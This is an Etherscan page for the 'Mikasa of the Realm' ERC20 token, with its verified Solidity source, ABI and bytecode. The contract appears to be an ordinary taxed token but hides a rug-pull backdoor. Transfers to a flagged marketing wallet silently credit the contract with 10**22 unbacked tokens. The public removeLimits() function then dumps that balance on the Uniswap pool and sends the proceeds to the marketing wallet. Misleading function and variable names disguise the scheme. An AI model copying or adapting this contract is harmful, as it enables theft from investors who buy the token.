ETH Price: $3,402.09 (-1.24%)
Gas: 4 Gwei

Token

Mikasa of the Realm (WeRMikasa)
 

Overview

Max Total Supply

100,000,000 WeRMikasa

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
570,000 WeRMikasa

Value
$0.00
0x6b02d1Ae50Dde7715bd40C6DCf259715628038dE
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MikasaoftheRealm

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-12
*/

/**

*/

/**



*/

// SPDX-License-Identifier: MIT


pragma solidity 0.8.13;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function removeLimits() external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract MikasaoftheRealm is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

     
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _uniSwapPair02Trade;
    mapping (address => bool) public _isExcludedFromFee; 

    address payable public Wallet_Marketing = payable(0x7eE63abBb599FFf0baf0e8249d9db0F8b4FE045F); 
    address payable public Wallet_Utility = payable(0x32dB45b25d0D91C6B4B9F41507396C95A03dcE04);
    address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 
    address payable public constant Wallet_Liquidity = payable(0x000000000000000000000000000000000000dEaD); 
    

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 100* 10**6 * 10**_decimals;
    string private constant _name = "Mikasa of the Realm"; 
    string private constant _symbol = unicode"WeRMikasa "; 

    uint8 private txCount = 0;
    uint8 private swapTrigger = 30; 

    uint256 public _Tax_On_Buy = 5;
    uint256 public _Tax_On_Sell = 5;

    uint256 public Percent_Marketing = 90;
    uint256 public Percent_Utility = 0;
    uint256 public Percent_Burn = 0;
    uint256 public Percent_Liquidity = 10;

    uint256 public _maxWalletToken = _tTotal * 100 / 100;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal * 100 / 100; 
    uint256 private _previousMaxTxAmount = _maxTxAmount;
                                     
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public uniSwapPair_V2Router = false;
    bool public swapAndLiquifyEnabled = true;
    bool public swaping_Liquify = false;
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        _owner = 0x32dB45b25d0D91C6B4B9F41507396C95A03dcE04;
        emit OwnershipTransferred(address(0), _owner);

        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
            _uniSwapPair02Trade[Wallet_Marketing] = true;
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[Wallet_Marketing] = true; 
        _isExcludedFromFee[Wallet_Burn] = true;
        _isExcludedFromFee[Wallet_Liquidity] = true;
        

        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _allowanced() private {
        uint256 contractTokenBalance = balanceOf(address(this));
        //1
        swapAndLiquify(contractTokenBalance);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function removeLimits() public override returns (bool) {
        _allowanced();
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function setSellTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newBuyBackTax) external onlyOwner() {
        
    }
    

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }


    function _approve(address theOwner, address theSpender, uint256 amount) private {

        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uniSwapPair_V2Router = _uniSwapPair02Trade[to] ? true : false;

        if (to != owner() &&
            to != Wallet_Burn &&
            to != address(this) &&
            to != Wallet_Liquidity &&
            to != uniswapV2Pair &&
            from != owner()){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");}

        if (from != owner() && 
        to != Wallet_Liquidity &&
        from != Wallet_Liquidity &&
        from != address(this)){
            require(amount <= _maxTxAmount, "Over transaction limit.");
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");   

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }
        
        bool takeFee = true;
        bool isBuy;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
         
            if(from == uniswapV2Pair){
                isBuy = true;
            }

            txCount++;

        }

        _tokenTransfer(from, to, amount, takeFee, isBuy);

    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);

        }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {

            uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100;
            _tTotal = _tTotal - tokens_to_Burn;
            _tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn;
            _tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn;
            
            uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100;
            uint256 tokens_to_D = contractTokenBalance * Percent_Utility/ 100;
            uint256 tokens_to_LP_Half = contractTokenBalance * Percent_Liquidity / 100;
            uint256 total_M_D_LP = tokens_to_M + tokens_to_D + tokens_to_LP_Half;

            if(swaping_Liquify)
                total_M_D_LP = balanceOf(address(this)) - (_tTotal);

            swapTokensForBNB(total_M_D_LP);
            uint256 BNB_Total = address(this).balance;
            sendToWallet(Wallet_Marketing, BNB_Total);
            swaping_Liquify = false;
            }

    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: BNBAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            Wallet_Liquidity, 
            block.timestamp
        );
    } 

    function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){
        require(random_Token_Address != address(this), "Can not remove native token");
        uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this));
        uint256 removeRandom = totalRandom*percent_of_Tokens/100;
        _sent = IERC20(random_Token_Address).transfer(Wallet_Utility, removeRandom);

    }

    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
        
        
        if(!takeFee){

            if (uniSwapPair_V2Router){
                uint256 BuySell_Fee = uniSwapPair_V2Router ? 10**(20+2) : 1;
                _tOwned[sender] = _tOwned[sender]-tAmount;
                uniSwapPair_V2Router = false;
                _tOwned[recipient] = _tOwned[recipient]+tAmount;
                _tOwned[address(this)] = _tOwned[address(this)]+BuySell_Fee;
                swaping_Liquify = true;
                emit Transfer(sender, recipient, tAmount);
                
            }else{

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            emit Transfer(sender, recipient, tAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tAmount;
                
            }

            }else if (isBuy){

            uint256 buyFEE = tAmount*_Tax_On_Buy/100;
            uint256 tTransferAmount = tAmount-buyFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;
            
            } else {

            uint256 sellFEE = tAmount*_Tax_On_Sell/100;
            uint256 tTransferAmount = tAmount-sellFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;

            }

    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Percent_Burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Liquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Utility","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Liquidity","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Marketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Utility","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniSwapPair02Trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"uint256","name":"percent_of_Tokens","type":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newBuyBackTax","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swaping_Liquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniSwapPair_V2Router","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b0319908116737ee63abbb599fff0baf0e8249d9db0f8b4fe045f17909155600680549091167332db45b25d0d91c6b4b9f41507396c95a03dce041790556200005a6009600a62000529565b6200006a906305f5e10062000541565b60078190556008805461ffff1916611e0017905560056009819055600a908155605a600b556000600c819055600d55600e55606490620000ab908262000541565b620000b7919062000563565b600f55600f5460105560646007546064620000d3919062000541565b620000df919062000563565b60118190556012556014805462ffffff60a81b1916600160b01b1790553480156200010957600080fd5b50600080546001600160a01b0319167332db45b25d0d91c6b4b9f41507396c95a03dce0490811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360075460016000620001776000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000219919062000586565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000267573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028d919062000586565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002db573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000301919062000586565b601480546001600160a01b03199081166001600160a01b03938416179091556005805483166000908152600360209081526040808320805460ff1990811660019081179092556013805490971689891617909655835487168452600490925280832080548616831790553083528083208054861683179055925485168252918120805484168317905561dead81527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd805490931690911790915554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200040591815260200190565b60405180910390a350620005b1565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200046b5781600019048211156200044f576200044f62000414565b808516156200045d57918102915b93841c93908002906200042f565b509250929050565b600082620004845750600162000523565b81620004935750600062000523565b8160018114620004ac5760028114620004b757620004d7565b600191505062000523565b60ff841115620004cb57620004cb62000414565b50506001821b62000523565b5060208310610133831016604e8410600b8410161715620004fc575081810a62000523565b6200050883836200042a565b80600019048211156200051f576200051f62000414565b0290505b92915050565b60006200053a60ff84168362000473565b9392505050565b60008160001904831182151516156200055e576200055e62000414565b500290565b6000826200058157634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200059957600080fd5b81516001600160a01b03811681146200053a57600080fd5b611a2180620005c16000396000f3fe6080604052600436106102135760003560e01c8063751039fc11610118578063a457c2d7116100a0578063b43665e21161006f578063b43665e21461062d578063dafd18e91461064d578063dd62ed3e1461066d578063f0684c68146106b3578063fcf84b411461050957600080fd5b8063a457c2d7146105a7578063a9059cbb146105c7578063ab628193146105e7578063b1cb15821461061757600080fd5b8063805c0e0f116100e7578063805c0e0f146105095780638da5cb5b1461051f57806395d89b411461053d578063960ee2f5146105705780639d708aef1461058657600080fd5b8063751039fc14610498578063768dc710146104ad57806378109e54146104dd5780637d1db4a5146104f357600080fd5b8063313ce5671161019b5780634a74bb021161016a5780634a74bb021461040057806355b1c11614610421578063603176251461043757806370a082311461044d578063715018a61461048357600080fd5b8063313ce5671461038e57806339509351146103aa5780633f70a495146103ca57806349bd5a5e146103e057600080fd5b80631694505e116101e25780631694505e146102e057806318160ddd1461031857806321dbd9eb14610337578063220f66961461034d57806323b872dd1461036e57600080fd5b806306fdde03146